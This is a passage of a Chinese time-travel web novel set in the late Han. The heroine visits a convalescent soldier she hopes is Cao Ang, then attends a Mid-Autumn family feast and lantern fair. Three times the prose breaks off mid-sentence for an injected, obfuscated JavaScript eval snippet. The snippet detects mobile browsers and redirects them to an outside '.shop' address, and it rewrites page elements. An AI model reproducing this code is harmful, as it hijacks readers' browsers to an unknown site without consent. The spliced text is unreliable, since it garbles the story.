“银铺东主说,您那宝玉竟是上等的苍水玉,可值四——百金。” 莫说别人,连一向稳重的缦双都心里直咯噔,忍不住嘀咕:我的小祖宗,您可夸张过头喽! 四百金,对当时的平民百姓来说,绝对算天文数字了,全家奋斗几辈子恐怕都见不到。即便甄尧、袁熙这样的富贵公子,他们也会觉得肉疼。 佟娘果然如当头一棒,连忙跪拜在地,舌挢不下:“怕、怕是弄错了罢!?” “弄错?我反倒想问问,你那个好侄儿究竟什么来历?又是从何处得来此等宝物的?” 佟娘低头耷脑,不敢见话。 细宝冷眼旁观着,故意揣测:“该不会以前走过岔路?” “不!误会,定是误会啊!弄错了!他绝不可能……” 缦双侍立在佟娘身边,体贴扶住那愈发佝偻的背,唱起红脸:“姑姑,您还是讲实话吧,娘子脾性虽硬,却非无理之人。” “可奴实属不知!”佟娘缓了缓,“这样,您再宽限一日,容老奴拿着这玉,回去细细盘问那小子,定会给娘子一个交代。” “不知?若真不知,又怎会特意托我的丫鬟去银铺?您不就是怕自己的身份会令章公起疑,可万万没想到,它竟贵得离谱,连我也经不起。”季蘅难得咄咄逼人,“佟氏,我方才说的可对?” 佟娘哑口无言,更不敢隐瞒,好半晌,终于长叹了一声气,不得不坦白,娓娓道来。 事情还要从孟硕两口子回南阳探亲讲起。 二月草长莺飞,他们沿着淯水一路向南,途径宛县去往新野时,正值黎明,当东方白日刚露出半边,早起解手的孟硕隐约在北岸发现了一团黑黢黢的“浮藻”。 “通身是血和污泥的兵卒,盔甲都丢了一半,原本只想捞起来看看,说不定能拣点值钱的器物,谁料那小子在弥留之际喃喃念着什么阿父的。您知晓,奴福薄,不曾育有亲生儿女,如此瞧着啊,家里那口子就动了恻隐之心,顺手救下他,想也成全一桩善事。” 佟娘回忆道。 “至于这玉,实不知小子身上为何会存有如此贵重的东西!交给奴时,也只是说,这东西不菲,若由我等去换钱,恐引起不必要的猜防,故而要托给家中的贵人——哎,谩说四百金,便是四十,奴若提前知晓了,也万不敢当着霍夫人的面,求娘子襄事啊!” 季蘅心底暗自琢磨: 那人身怀宝玉,应该家底殷实,难保不是从什么高门大户出来的,又巧合损在二月宛城附近,如此种种,不由叫她眼睛一亮,斗胆有了期待的人选。 “可知他之前系谁家的兵卒?” “奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052411|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与家里那口子出身乡鄙,不过村夫农妇,无甚见识,这个可认不得。” 季蘅不甘心,追问:“那他多少年纪,有无说过自己的来历?” 佟娘仍摇头。 “没有,那小子不爱讲话,每每问及,都避而不谈,只说‘死过一回的人了,哪还有什么以前,既然恩公姓孟,那我也该姓孟’,后来还给自己取了个新名字叫觉苦,孟觉苦。唉,奴也算有后了,自然乐意。”她说,“至于模样,确实生得俊拔,其实瞧他长相,就猜到了出身或许不俗,但哪敢想,这玉竟如此……” “他现在身体如何了?” “算不得太好,整日蔫蔫躺在那里,没什么精气神儿,只进些软食,饭量跟猫崽似的,哎,先仔细将养,保住命就行,不敢着急盼痊愈。” 话问完了,季蘅不由沉静片刻,捉笔写下几个字,然后小心裁下,放进一袋碎银里。 “钱虽不多,姑姑先收下补贴家用,里面的信,劳帮我转交给那位,请他亲启。” “这、那玉?” “玉,固然是要物归原主的,不过,先得等他什么时候好全、能走动了,再亲自过来取。请姑姑替我转达。”季蘅顿了顿,温柔补充道,“事发突然,方才在言语上有些唐突,还望姑姑见谅。那孟觉苦便是您的亲侄,毋庸置疑,而这块玉,或贵价或低廉,也不过一桩小事,不宜太张扬。您可清楚?” 佟娘是聪明人,忙叩首:“正是,正是,奴岂会往鸡子儿筐里搁石头,自领麻烦!” 说完,她恭敬接过锦袋,又好生谢了一番,才辞别繁柯院,等鬼鬼祟祟溜到小镜湖附近,见四下无人,忍不住将里头的东西打开偷看,虽无学识,却也认得几个寻常的。 那信上只呈有七个小字: 明月当空人尽仰。① 字倒是难得个个都认识,凑在一起了,佟娘却读不懂其中含义,思忖半刻,既是五娘子所赐,应当没有不妥之处,遂把缣帛连着锦袋一并塞回怀里。 至于季蘅,等人走后,那硬撑的凶狠气势瞬间垮掉不少,她情绪低落地趴在案几上,深深叹气。 一是因为唱白脸太累,这二嘛…… “若真值四百金就好了,管他是谁,都要被我供起来。” “娘子希望此人是谁,”缦双最为灵慧,一句话点破要害,“想必心中已有答案。” 季蘅苦笑,并未直接回答,但她的心里确确实实正在强烈地、招魂般默念着某个名字: 曹昂。 正月里,曹操西征南阳,兵不血刃拿下了宛城,得意忘形之余,强纳了张济遗孀。 原已投降的张绣见世母被辱,恼恨得趁夜反水了。 结果便是,老曹狼狈败逃,曹军损失惨重——长子曹昂,侄曹安民,大将典韦等,皆丧命于此。 听说后来曹操以重金招募细作,历经万难才取回典韦的尸首,将其厚葬在襄邑。至于曹昂,却是活不见人,死不见尸,以为挫骨扬灰。 退一万步讲,假设真如季蘅所愿,曹昂死而复生,那位丁夫人也不会撕破脸与曹操和离,卞氏仍为妾室,如此,来日赐死自己的曹丕身作庶孽,未必就能混出头了…… 拜托,老天爷能不能开次眼! 光是想想,她都有种大仇得报的畅快,不由强作镇定地呷了口热茶。 曹昂自小被无缘生育的丁夫人收养,是长,亦算半个嫡子,才能韬略更不消说,单凭这层身份,接班人宝座妥妥该属于他的。 那么,如果是他成功上位,往后会不会逼迫刘协退位禅让?能不能一统天下? 季蘅越思量,越显激动,胸口起伏不定,怦怦如擂鼓,按捺不住高涨的情绪,已经不是盘算未来怎么对付曹丕这种私人恩怨的时候了。 一步变,步步变,这若成真,因此产生的蝴蝶效将有多可怕?是否会像推倒多米诺骨牌一样,翻覆整个三国乃至后世的所有历史? 她不知道,不确定,也不敢遐想太多,但心内却在隐隐期盼着什么。 8. 觉苦 季蘅这几日没睡好,不得不承认,她冒生出一个非常大胆的想法: 投资曹昂。 简单来说就是,逮住人,好吃好喝当泥菩萨供着,等寻个合适机会,再将他风风光光送还许都。 这便算立大功了! 什么千金爵禄都无关紧要,更不奢望他们曹家人多感恩戴德,只求一道保命符,待到来日死劫如期而至,彼时有个说话管用的,能将她恕免,成全自由就行。 可惜理想再美满,真正令她辗转反侧的却是仅存的理智: 人穿越后真的能改变既定的历史吗?就凭我这个手无缚鸡之力、本质混吃等死的废物?万一出现差错,会不会发生难以承受的后果?…… 苦恼了一段时间后,还是缦双随口所问,点醒了她:“那边一直没动静,您的信,莫不是没看懂?又或,他其实并非您心中所想之人?” 是了,先得确定那位孟觉苦的真实身份,而后才有资格纠结。 于是等到八月十五这天,季蘅得了个名正言顺的由头,去旭庄赏菊。 既然那人装傻不肯来,她也豁得下脸,亲自拜谒。 “酒,备好了吗?” 不过巳时,庭院里早早摆上秋夕祭月的红香案和新鲜瓜果。一旁的细宝小心点头:“偷偷的。” 汉代的酒是发酵酒,度数普遍偏低,对季蘅这种常年泡清吧的当代大学生而言,甚至都不配叫酒,充其量只算饮品,出门时带些尝尝味解渴,还嫌它跌份儿呢。 这种携酒出游的快意行为,于建安年间生活的奴婢看来,其实还算稀松平常——名士风流,任情纵饮,不亦乐乎。 可养在深闺里的贵女嗜酒,传出去总归有些失格,故而细宝就像帮衬了离经叛道的坏事,既刺激,又十足心虚,所以得偷偷的。 好在今日阖家上下均很忙碌,没人会注意厨廪的酒坛里少了那么一小拇指盖的量。 “行,走吧。” 送她们外出的霍逦不忘多叮嘱几遍:“中秋家宴,你们这些丫头千万记得提点五娘子,莫因在外贪玩就误了时辰。” 季蘅今日特意打扮得很赏心悦目,穿上新制的秋香色襦裙,戴了最喜欢的一支步摇,连眉间的红痣都特意用金箔缀饰了花钿。 “不知道的,还以为您要去幽会情郎呢。”细宝给她拢头的时候,忍不住大胆调侃。 足可见有多上心。 人是不折不扣的视觉动物,初印象非常重要,故而与传说中的“曹昂”初见,绝不能潦草马虎。 不仅打扮上要慎重,她还准备了一些适合探望病号的见面礼,什么灵芝、人参、冬虫夏草,等等。 退一万步讲,即便失算,那人不是曹昂,这些干巴巴的好玩意也可当是续他一命,慈悲积德了。 再说甄家的旭庄,位于城北远郊,倚靠着青嶂山,颇具野趣。 缘分得很,这庄子和地虽不大,但记在季蘅名下,甄母以前提过几次,说是给女儿准备的嫁妆之一。 有地产、房契傍身诚然好,可她老人家现在还不知道,小女儿将来所嫁的两任夫君,一头虎狼,一条真龙,压根看不上这些,胃口那都是论郡论州论天下的,更不知是福是祸。 不过说到底,季蘅这次并非真的要参观庄子,只因青嶂山趾的某处溪尾,有椽不起眼的茅草小居,那里住着她要寻的人。 篱笆内簇拥着团团秋菊,院里种了棵桂花树,树下还有把竹榻,孟觉苦正躺在那处小憩。 是因祭月节,佟娘今早破例多送来一壶金玉露,给他尝个新鲜。 秋高气肃,阳光也好,人难得有些精神,他仰头饮啜了几口久违的蜜酒,再睁眼,遂映上一片柔和朦胧的树罅,那淡绿鹅黄繁簇着细花如许,嗅得浓郁馥香,气味甜煎煎的。 可这酒越喝,心里却越添苦闷,最后不由悲叹:来世不可待,往世不可追也。① 好在这股糟糕的情绪只延续到亭午时分,随之而来的,是平静的心绪,以及一位脸生的贵客—— 甄家五娘。 季蘅命婢仆尽数在外候着,独身推开半启的荆扉,走进了这破落院子。 而所寻之人就恬静躺在树下,是位二十岁左右的俊采玉郎,剑眉压目,鼻梁挺立,可惜面色带着病态的惨白,近乎无半分血气。 刚想主动问候,却听见对方先开口了:“相逢即是缘。” 大抵因为体虚,那声音莫名温润,如微风轻轻拂过水面,吹向她的耳畔。 “茅舍简陋,甄娘子请便。” 看样子是个聪明人。 季蘅喜欢和聪明人打交道,但现下,她实则有些紧张,眼前的男人看上去似乎不太欢迎自己,于是迟疑了片刻,故作姿态道:“听闻郎君康复得太慢,我又是个急性子,如今只能径自拜访,完璧归赵了。” 她抬起春葱般的素手,轻俏的宽袖不经意垂下,那青色玉玦正缠挂在女子纤细的前臂。 孟觉苦半躺着,垂眉看去时,带着一股虚弱的傲慢,良久,他才迂缓道:“鬼门关走过一趟,什么都是身外之物了。我见娘子肤白细腻,衬得那死气沉沉的玩意竟算得灵秀,若不嫌弃,还望笑纳。” 言语上甚至有些放恣轻薄。 但季蘅的思维毕竟来自现代,这种程度的话还羞煞不到她,男女间相处更是一向随性。 她只当赞美,大方道:“我与你初见就受此大礼,实在却之不恭。不知该如何道谢,敢问郎君尊姓大名?” “姓孟,字觉苦。” “果真是个好名字。值此乱世,本就生计艰难,万灵皆苦。”她顿了顿,还诚意十足地提及,“便如一掷乾坤的曹司空也曾作诗感慨,‘白骨露于野,千里无鸡鸣。生民百遗一,念之断人肠②’。” 闻此,孟觉苦当真生起几分兴会,耐人寻味地打量着季蘅。 他忽想到佟氏那天递信时所言:“不必太过担忧,我也算看着五娘子长大,知她是个面冷心善的,只要你不愿意,她绝不会勉强什么,到底是良善怜恤之人啊。前些年灾荒不断,乡里皆难捱,也是娘子她劝说老夫人开粮仓救济,共渡难关,任谁都念着她的好。”③ 起初孟觉苦并未放在心上,以为不过是士族为嫁女吹捧出来的虚名,如今眼见为实,这甄五娘果然不同凡响。 他不禁打趣:“你小小年纪,理应对着一池落花悲秋才是。” 季蘅却答:“万物并作,有何可悲?有这功夫,倒不如先哭一哭我们自己。” “我们?” “二十年不过一场大梦,醒来方觉,浮世无常,人间疾苦。”她近乎释怀地笑了笑,“所以,我很喜欢你现在的名字。” 孟觉苦的眸子由暗转亮,不无迟疑:“你我之前,应当从未见过。” 季蘅没答话,环视了一圈院子,只问:“我有些口渴了,可否赏碗茶水喝?” 屋内弥漫着淡淡的草药气味,两人对坐窗下,面前铜釜里的水初沸腾时,孟觉苦取了一些生叶。 季蘅左右巡睃了几眼,这里的陈设简朴得一览无余,没什么好看的,最后将目光落在对面的男子身上,麻衣粗布,束发以简单木冠,虽在病中,举止却不失端正。 哪怕此刻骨瘦嶙峋,形容枯槁,整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052412|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人散发出的气质,仍是远离市井江湖,极具威仪。 她鼓足了勇气,才顺利开口:“是我自作主张,想来看望你,并无恶意。” “明月当空人尽仰。”孟觉苦垂目,让人捉摸不清神情,“娘子未免太瞧得起我。” 听这意思,他果然看懂了那是一个“昂”字。 “其实我也没有十足的把握,”季蘅的眼睛水凌凌的,至少看上去很真心诚意,“那只是一个美好的期望罢了。” “期望?” “你该听过吕不韦奇货可居的典故。” 孟觉苦哑然失笑:“好,你这丫头很有意思,只可惜,我的身份卑贱,唯恐不能令你遂心如愿了。” 得到这样的答复,季蘅的心脏不由铅块似的沉沉一震,她暗自捏牢了玉玦,半晌才吐出两个字:“何解?” “军中良将甚多,自生自死,我都未曾见过曹昂,于军中绝大多数人亦是。” 他回忆得云淡风轻。 “算我命大,那日战败逃至江边,被激流冲走,又获孟父所救,这才死里逃生。至于玉玦,是家母昔年所赠的岁礼,不过寻常玉石,或许能换得几斗粮,可惜再贵,也不及四百金,娘子深居闺中,禀性纯良,想来定是被歹人愚弄了。” 外头起了风,木窗子潮乎乎敞着,沁人心脾的气味扑面而来。 季蘅不由偏头望去,多美的景致啊:高天青远,白云悠悠,满枝的金黄色小花趁风纷飞。 可她心中五味杂陈,既有失落,又参杂着几分如释重负的轻松,于是自顾自地一声叹息,世之美好,方如梦之初醒。 待她回首,未料孟觉苦也正脉脉看着自己。 男子的瞳色有些浅,日光下像碗浓稠的糖浆。他微张了张嘴,刚想继续说些什么,却被自己一阵急促的咳嗽打断了。 “咳咳咳!” 季蘅终于意识到自己的过界,忧愁轻皱了下眉,很快又恢复素日的沉着:“此番久叨扰,都快忘记郎君仍在病中,失礼了。”她把玉玦轻轻搁还席边,“既非稀罕物,我也没什么兴致了。你早些将息,只记着还欠我的。” “如何欠你?” “你以为自己这条命是靠谁家银两才捡回来的?此行我还带了些滋补的药材,已交至孟硕夫妇料理——泥菩萨,你要是不要?”季蘅起身欲走,故意捏着嗓子,蛮横道,“遥想当年,灵辄倒戈报恩,淮阴一饭千金。而你,既无身份,更无靠山,我便不奢求什么逆天改命的回馈,等病好全了,就该乖乖到甄家为奴还债,可对?” 孟觉苦愣了一忽儿,然后轻声笑了:“遵命。” 及至季蘅踏出院门,缦双赶忙迎上前:“娘子怎待了这样久,让奴婢好生担忧。” 孤男寡女共处一室已是不妥,若非孟觉苦病得孱弱,断不敢任由娘子独自进去的。 “没想到说话颇投契,就多聊了几句。”这会儿她倒像心情大好了,“那些东西都送到了?” 缦双颔首:“已全数交到孟硕手里了,还让细宝捎带到庄子的菊园,挑些别致的,给您带回家,免得夫人们盘问。” “好。” “娘子可问出结果了?” 季蘅意味深长地回头望了眼那茅草小屋,反刍着方才两人的对话。 那孟觉苦举止不凡,在曹军帐下必定不是无名小卒,而提及司空长子“曹昂”时,他竟敢直呼大名,语气冷静且克制,偏偏又强调未曾见过曹昂——反倒像此地无银三百两了。 “一时我也说不清楚,但他的身份决计不普通,再看吧,往后的日子还长,谁说得准呢,且得随缘。” 9. 中秋 申酉之交,季蘅归家,一行转至花园池边,迎面碰见了三嫂薛婉。 对方的样子亦是急匆匆的,身后还跟着数名手捧香案的扈从。 “弥儿!” 这几日忙于张罗家中节庆,薛婉事无巨细,率皆亲力亲为,现下也有些疲累了,但一瞧见季蘅,她那笑容就像剪短烛芯的火苗,噌得窜亮。 “正巧了,你兄长刚从市集弄来批新巧的花灯,想你最喜那些小玩意了,抽空遣婢去库房挑上几只,就挂在自个儿院子口,这入夜后,保管喜庆又亮堂。” “好,多谢三嫂。”季蘅虽常与甄尧吵嘴斗气,却很敬重他的妻子。 “客气什么,”薛婉热情满满,亲昵拉起小姑子的手,又仔细量了她几眼,偏头笑问,“今日的妆束倒很讲究,怎就老实收心回来了,没多出去转转?” 季蘅早已准备好说辞,解释道:“赏花时不慎弄脏了鞋面,庄子上又是一览而尽的景致,想着莫如先回家,换身轻便的,待黄昏陪阿母用完膳,再去喜街赏灯不迟。” “果然,只道小妹是那绝踪迹的信天缘,最不爱着家的,难得早归一回,也定有原由。”薛婉说,“对了,听闻你早晨命人去库里取了些药材,可是身子骨又不大舒坦了?” 季蘅的笑脸快要挂不住了,垂下青眸,直言不讳:“是兄长特意托您问的?” 薛婉愣了一愣,但脑子转得飞快:“尧郎知道归知道,可也没多说什么,是我自己纳罕,见着你人了就顺嘴提上一句。怎么,如今嫂嫂还关心不得小妹了?” 甄尧啊甄尧,好没意思,刚吵过架拉不下脸盘问,竟还敢请妻室出马。 “没什么,”季蘅嗤之以鼻,更不会让他得逞,只笑说,“不过是送给一位新友。” “是谁呀?小女儿家家的,不送钗裙,倒送起药材来了。” “若有机缘,嫂嫂以后就会知晓。” “你这皮丫头,”薛婉无奈道,“罢,我现下可是没半儿点闲,得赶去东厨盯着了。等开宴,再唤小仆传你。” “三嫂辛苦。” 话别后,季蘅回了繁柯院,并吩咐左右:“细宝你去趟仓库,尽管拣些自己喜欢的花灯;缦双,记得喊几个小厮,帮忙把那些绿菊还有种子,给阿母、霍姨、两位嫂嫂……各处都要送到。” “诺。” 都交代妥当了,她才放心去沐浴更衣。 红枭已经备好香汤,绫戈则贴心地端来一盏通经活络的徘徊花茶。 湢室里,热腾腾的水雾充满了清新温柔的皂荚和药材香气。 季蘅款慢坐浴完,换了身轻盈素雅的月白裳裙,只随意绾了垂髾,斜插一支玉兰簪,整个人亭亭玉立,未施粉黛,宛如出水芙蓉。 因时辰还早,她伏在窗下,平心静气地誊写屈子的《天问》。 夕阳方才隐入山岫,残存的余霞将湖水映成红馥馥一片。 写着写着,暮色渐起,待丫鬟过来掌灯,季蘅蓦然醒神,却发觉手中的毫锥已悄无声息地写起另一首,该是八百多年以后,苏东坡所作的: 世事一场大梦,人生几度秋凉。夜来风叶已鸣廊。看取眉头鬓上。① 这词尚未默完,下阙只写了一半,如梦初醒的她立即停笔揎臂,将那薄薄的绢纸凑到银烛焰上。 缦双与红枭俱被惊了一愣,但谁也没敢多问,且缓了缓,再就催促该去老夫人院里赴宴了。 季蘅点头道好,由得她俩帮忙简单妆扮一番。 瞧着娘子的神色有些郁怏,缦双主动攀谈:“奴婢方才在后房,闻得细宝绫戈二人斗嘴,那话茬倒很是应景。” “所为何事?” “不过因那圆月攀上枝头,大伙儿想起一则妇孺皆知的神话故事罢了。是谓,羿请不死之药于西王母,嫦娥窃以奔月。②”她从匣子挑出几支精致钿翠,“细宝觉着月宫冷清孤寂,嫦娥虽飞升为仙,却很孤单,心里应是悔不当初的;可绫戈不以为然。” “哦?” “她说,这灵药若换作自己,抢也定是要争抢进肚里的。成了月仙,不仅长生不老、容颜永驻,每年秋夕还可享受人间香火贡祭,再能寂寞到哪去,总好过浮云朝露、韶华易逝的肉眼凡胎。” 季蘅不置褒贬,只好奇问:“你们怎么看?” 在旁的红枭笑了笑:“姐姐们说的好像都对,但奴婢应当不会独食灵药的。一来,那是后羿从西王母处求来的,别人的东西再好,也不该窃取;二来,便是真长生不老了,也不见得就有多开心,一个人独活,没有亲友相伴,自己连死的盼头也没了,确实无趣。” “双儿以为?” “奴婢不是嫦娥,不清楚她究竟怎么想的。若她似绫戈那般性子,这故事便叫得偿所愿;若似细宝,那就该悔恨无及了。”缦双故意凑近,抚弄她的耳坠子,欢声揶揄,“可若这嫦娥是娘子您呢,又当如何?” “我当然是——”季蘅略顿了顿,嘴角亦浮过一丝笑影,轻哼一声,“千万种念头,偏不告诉你们。” “您真狡猾!”红枭淘气,欲妨碍娘子起身,非要问出个究竟,却遭缦双拉住。 “好了,不闹了,这月宫谁爱飞去就由谁去,今晚的中秋家宴可不能太迟了。” 季蘅对着铜镜满意地露出笑容,离开妆台前,不忘往嘴里塞了片茇葀叶,然后慢悠悠去往张氏院里。 甫至廊下,便听见霍逦那起哄的敞亮笑声,跟铃铛似的:“可不是妾身胡诌啊!那日湛小郎君也在,本想给您请安的,却见女君独倚榻上不言语,只顾点头,手里还捧着串檀木珠子,仔细一瞧,竟是打盹儿睡着了!” 屋里伺候的仆妇侍婢也都掩嘴,喧笑不已,张氏亦笑道:“年纪大了,越发不中用咯。” 饶是作耍,言语中却透着几分不可言喻的苦闷。 机敏圆滑如霍逦,已嗅出些端倪,那细凤眼一溜瞅,即时换了个话口儿:“并非这个说法,妾身的意思是,所谓梦中悟道,女君大约与神仙有机缘。” 众人闻之,也都附和,厚赞老夫人夙夜供奉虔诚。 “你啊!”虽知晓是谄媚奉承,张氏却很受用,笑着点了下她。 “妾又多嘴了,该打该打,晚歇定要自罚三巡!” 这就是霍逦在后宅里赖以生存的本领了,季蘅一直很敬佩,每每听其口灿莲花,三言两语便把挑剔的母亲伺候熨贴,实在令人拜服,她搴帘进门,于是朗声道:“那孩儿可得陪霍姨多吃几盏。” 见是季蘅,众人忙招呼:“五娘来了。” “这弥丫头,自幼被我宠惯坏了,总也没得规矩分寸,”张氏笑斥,“如何又是最后一个到的,更该罚!” 小仆已经在甄尧右侧的几案,铺好席子。 旁边的甄尧低看了一眼,有些觑觑然:“这算哪门子的惩罚,她是求之不得,阿母,不如就罚小妹,下回陪您梯陟祈福?” “哎哟,三郎倒是弥娘的亲兄长,最清楚她惧怕什么厌烦什么了。”霍逦附掌戏谑,在旁的张氏也微笑点头。 季蘅虽恼,但不好直接反驳,只是在入席时,斜着眸子瞵视甄尧:“无妨,终归宵小都喜欢公报私仇。” 对方却也轻哼一声,敛了敛缕金衣衽,懒得多言语。 张氏见状,不由问:“怎么了,这两小的莫非又闹气拌嘴了?” “没有。”兄妹俩竟异口同声地否认。 那便是真有了。 张霍二人不由对视一笑,她们早见怪不怪了,孩儿间的感情都是越吵越闹越深厚的,何况一母同胞的亲兄妹,打断骨头还连着筋呢,也就懒得费唇舌搅和,任他们互相耍性子。 好在这时候,薛婉领着几个丫鬟上前布菜,终于开宴了,是因食不言,寝不语,等安静用完膳,各个才开口攀谈了几句。 “逢此秋夕,晓得弥儿最是闲不住,欲趁夜赏灯。”准备焚香拜月前,张氏不忘拉起季蘅的手,满目慈爱地左看看,右看看,并嘱咐一旁的甄尧,“世道不甚太平,唯恐遇上歹人赖事,逛灯会时也该挑几名部曲跟着,千千万万盯紧你妹妹。” 季蘅自然不屑,她迄今被甄家保护得很好,对这个时代的可怕仍停留在“略有耳闻”,尚且缺乏真实认知,心里只想着,咱都是博古通今的穿越女了,主角光环还能没有点儿吗,该你们古人防着我才要紧,小心遇上什么蝴蝶效应, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052413|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭那隐形的翅膀轻轻一抿,保不准就要从流芳百世沦落为遗臭万年…… 但甄尧老成练达,听到张氏嘱咐,忙揖礼:“谨遵慈命。阿母思深忧远,是孩儿往日欠考虑了。” 正院里红烛高燃,等揆次拜完月神,张氏挥袖散走众人,顾自回寝屋歇息去了。 “我可不过去胡凑热闹,乱哄哄的,吵得头疼。”薛婉劳碌了一天,身子早已累得酸软,这会儿只想尽快躺下歇息,遂拒绝了夫君同游赏灯的邀请,“你们也早些回来罢。哦对了,尧郎,记得替我从首饰铺带点儿东西。” “你又看上了何物?” 她忸怩作态了半刻,重重拍了下丈夫还算结实的臂膀:“一对寻寻常常的翡翠镯子而已,没花你多少银钱!” 甄尧不禁扬眉,有种相当不祥的预感。 季蘅更觉扫兴万分,实在不愿与刚吵过架的兄长同游,但没办法,若因此不去了,显得那人多大度,她气量多小似的。 于是乎,甄家兄妹二人久违地并肩走在了火树银花的长街上。 毋极一隅,太平之地,至今未遭兵劫,熬过蝗灾,近两年收成见好,粮食够吃,加之袁绍对冀州的德政,百姓们也算安居,故而中秋张灯,街头欢声满路,热闹非凡。 此情此景,甄尧故作叹息,回头对成禄感慨:“要说这月缺月圆,一轮又一轮的,过得可真快。”并有意无意地指了指旁边的人,“仿若眨眼前,她还是从前那个骑着我脖子逛庙会,没石桌高的小娃娃。” 季蘅正拉着缦双的手,四处张望,听到甄尧这样说,先是一阵不悦袭来,还没发作,接着却愣了霎时的神儿,是忽然想起,这副身子的主人如今也不过十三、四岁。 当年,她十四岁的时候在干什么?好像还是个懵懵懂懂的学生,受父母万分呵护,心无旁骛地备战中考,最大的烦恼好像只有睡眠不足; 而现在,豆蔻般的十四岁,依然青涩稚嫩,到来年,却是该许嫁的年纪了,变成一朵待人采撷的花骨朵儿…… 当真是惊悚! 见妹妹忽不言语,首饰铺又近在眼前,甄尧几乎讨好地问:“弥儿,思量你也快及笄了,不如随我去挑上一挑,为兄再送你支新簪子,如何?” 这话纵然卑微,可惜不逢时,此刻在季蘅听来却是踩了大雷。 “不要,你可别破费了还不讨好。”她随手指向临湖一棵挂满红布条的大树,“我宁愿求个吉利。” 说罢,便拉起缦双,小跑着往那边去了。 剩下甄尧无奈叹了声气:“命苦哟,该我上辈子造孽,这辈子投胎当了她的阿兄。” 卢宽在旁偷笑,可能因为动静太大,使甄尧不由瞪了他一眼,恶狠狠道:“还不快跟过去!” …… “阿叟,这个怎么卖?” 摊主是一个蓄花白山羊胡的瘦弱村耆,见来者双姝,他颤巍巍比了三根手指,熟练道:“许愿祈福喽,一条二十铢,两条三十铢,不收无文小钱!墩子上搁有笔墨,若不识字,老朽可代为书写,免润资。” “我自己写。”季蘅笑得甜美,接过两条崭新的红绸,并吩咐缦双拿钱给老摊主,问她,“你也写一条?最近可有什么比较着急实现的心愿?” 缦双却摇头:“多谢娘子恩惠,只是奴婢当前并没什么愿望,莫要浪费了。您不如写两份自己喜欢的吧。” 言辞恳切,并非客套推让。 季蘅早习惯了她的这般清心寡欲,便没有强求。自己之所以写,也不是真的迷信这个,只是觉得有点好玩。 这棵树上所承载的愿望,男子多是变泰发迹,女子无非姻缘顺遂。 所以,她要做最与众不同的,仔细斟酌后,在第一条红绸上落笔写道:“死生苦海,似梦初觉。” 原是不信命的人,老天偏让她离奇穿越,恍惚间,仿佛渡了一场大梦,有时甚至会怀疑,究竟是她依稀做了场变成东汉甄氏女阿弥的噩梦,还是现代人季蘅用自己的前半生成就了她的南柯一梦? 在俯身写第二条时,恰刮起不知从何处生起的风帚,只将先前那条红绸吹远。缦双正欲去捡,不料它最后落在了一位公子脚边。 10. 晓梦 待季蘅提笔写完另一条,才漫不经心地抬眼看去—— 夜色空沉,月光似练皎洁,谢容允正背手,挺拔立于湖岸,青衣翩然,如玉树迎着风。 冥冥之中,此人低头瞥了眼,未等解惑何物,先俯身拾起。 缦双匆遽迎上前,但还是稍晚一步,只得稳了稳神色,恭敬托出双手,柔声道:“有劳先生了。” 对方却装傻充愣,并不予以理会,直接洪亮念出红绸上所题之字:“死生苦海,似梦初觉。” 语气更是抑扬顿挫得羞人。 “此乃我家娘子手书祈福,”缦双有些窘急,脸颊微红,“望谢先生物归原主,莫敢轻慢!” 谢容允这才眺见小摊旁端正站着的蓝衫女子,面色略阴郁,开口便是诘问:“祈福?既心怀虔诚,为何一风之力,就叫女郎轻易落了空?” 前些日子,打甄宅后花园偶遇谢容允的第一眼,季蘅就觉得这是个非常乖僻的人,像出群的孤雁,顾影自怜,却偏要装作副八面玲珑的样子。 “我不求神佛,而求天地。” 此时,她显得沉定又稳重,全然不似年仅十四岁的小姑娘。 “若能由这青苹之风,将我的所念所想,散往四海,也不失为一种成全。” 这段回话令谢容允深感意外,言语中的洒脱随性,很契合他的心志,不由动容了几分,目光一低,是将红绸递还给丫鬟。 “死生苦海,似梦初觉——怎会是这八个字?” 听语气,反倒像在指责自己。 不明就里的季蘅稍低了眉,欠身轻答:“草草写就,无它。” “哎哟,容允先生,您怎么也在!”卢宽捧着刚买的羊肉馅饼,乐呵呵走了过来,同时瞥见一路趋避至五娘子身旁的缦双,大约觉察到几丝异样,试探问,“您不是前几日走藁城了吗?” 谢容允很快恢复了平常的恣肆神色,答:“我不过就近寻那邱老道问了几卦,解完心中惘惑,自然是要回的。” 所提之人,姓邱号太璁,年近不惑,形容清癯,美须髯飘逸似拂尘,传闻他精通相术、占梦、龟卜,喜欢扛着一竿黄腾腾的卦旗,每旬穿梭于闾巷之间,凡诚心所问,多有灵验。 “莫非算出了先生是白商祖、陶朱公转世?”卢宽带了七分逢迎。 